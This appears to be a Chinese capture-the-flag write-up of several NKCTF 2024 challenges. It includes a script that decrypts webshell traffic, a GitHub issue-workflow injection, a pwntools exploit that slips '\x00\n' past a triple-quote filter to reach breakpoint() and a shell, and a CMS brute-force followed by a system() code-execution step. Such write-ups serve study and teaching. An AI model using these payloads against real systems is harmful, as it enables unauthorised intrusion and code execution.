Webshell_pro
在流量包中提取到加密脚本,再编写解密脚本
import base64
from Crypto.Util.number import long_to_bytes
import libnum
from Crypto.PublicKey import RSA
import urllib.parse
pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""
prikey = """-----BEGIN PRIVATE KEY-----
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
-----END PRIVATE KEY-----
"""
pubkey = RSA.import_key(pubkey)
prikey = RSA.import_key(prikey)
n = pubkey.n
def enc_replace(base64_str: str):
base64_str = base64_str.replace("/", "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM")
base64_str = base64_str.replace("+", "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W")
return base64_str.replace("=", "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2")
def dec_replace(base64_str):
base64_str = base64_str.replace("e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM","/")
base64_str = base64_str.replace("n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W","+")
return base64_str.replace("JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2","=")
def encrypt(plain_text):
# 私钥加密
cipher_text = b""
for i in range(0, len(plain_text), 128):
part = plain_text[i:i+128]
enc = libnum.n2s(pow(libnum.s2n(part), prikey.d, n))
cipher_text += enc
return enc_replace(base64.b64encode(cipher_text).decode())
def decrypt(plain_rsa):
base64_enc = dec_replace(plain_rsa)
cipher_text= b""
cipher_text = base64.b64decode(base64_enc)
for i in range(0,len(cipher_text),128):
part=cipher_text[i:i+128]
dec = libnum.n2s(pow(libnum.s2n(part),prikey.e,n))
return dec
if __name__ == '__main__':
#m = b"-RSA-" * 30
#print(f"原始数据: {m}")
while(True):
c = input("数据")
#print(f"加密数据: {c}")
c=urllib.parse.unquote(c)
f = decrypt(c)
print(f"解密数据: {f}")
发现加密的flag
U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ==
根据小明的日记.txt
的提示发现是pbe加密,密码为Password-based-encryption
解密可得flag
world.execute.me
先分析workflows
发现只要
创建issue
Question:121212afaf
echo $HEART
即可获得
ex1t
这题考察的是python 绕过’’’过滤python 处理字符串的过程是先用 line-delimiter 分开 然后每行再视为一个 C nullterminated string 进行处理
所以 字符会影响这一过程 所以我们只需要将’’’中的一个’替换为’\x00\n 即可
一开始没看懂,gpt解释
这段话是在描述 Python 如何处理字符串,尤其是处理多行字符串或者涉及到特殊字符的字符串。
Python 在处理字符串时,会先用 line-delimiter(通常是换行符 `\n`)将字符串分割成多行。然后,每一行都会被视为一个 C null-terminated string 进行处理。C null-terminated string 是 C 语言中的一种字符串表示方式,其中字符串的结束被一个空字符(`\0`)标记。
这里的 "字符会影响这一过程" 可能是指,如果字符串中存在某些特殊字符,例如换行符或者空字符,它们会影响 Python 如何将字符串分割成多行以及如何处理每一行。
"我们只需要将'''中的一个'替换为'\x00\n 即可" 这句话是指,如果你有一个多行字符串(在 Python 中,多行字符串可以用三个单引号 `'''` 或者三个双引号 `"""` 来表示),并且你想在某处插入一个空字符和一个换行符,你可以将其中的一个单引号替换为 `\x00\n`。这样,Python 在处理这个字符串时,会在那个位置将字符串分割成两行,并且在第一行的末尾插入一个空字符。
这种操作可能会在某些特殊的编程场景中使用,例如在进行某种特殊的字符串操作或者处理某种特殊的输入/输出格式时。
这里考察了\0是作为python字符串的末尾,于c相似。在替换的时候\0会影响正常替换,而写进文件后\0又会被忽略
playload
from pwn import *
conn = remote('node.nkctf.yuzhian.com.cn', 31303)
context.log_level="debug"
#io = process(['python3',"server.py"])
conn.recvuntil("> ")
payload = b"''\x00\n';breakpoint()\n''\x00\n'\n--NKCTF2024\n\n"
conn.send(payload)
conn.interactive()
breakpoint()
用于在python代码中打点,有了他就可以在命令行中输python代码从而得到shell
My First CMS
后台
/admin/login.php
bp爆破密码
Extensions > User Defined Tags存在rce
system("ls");
可执行代码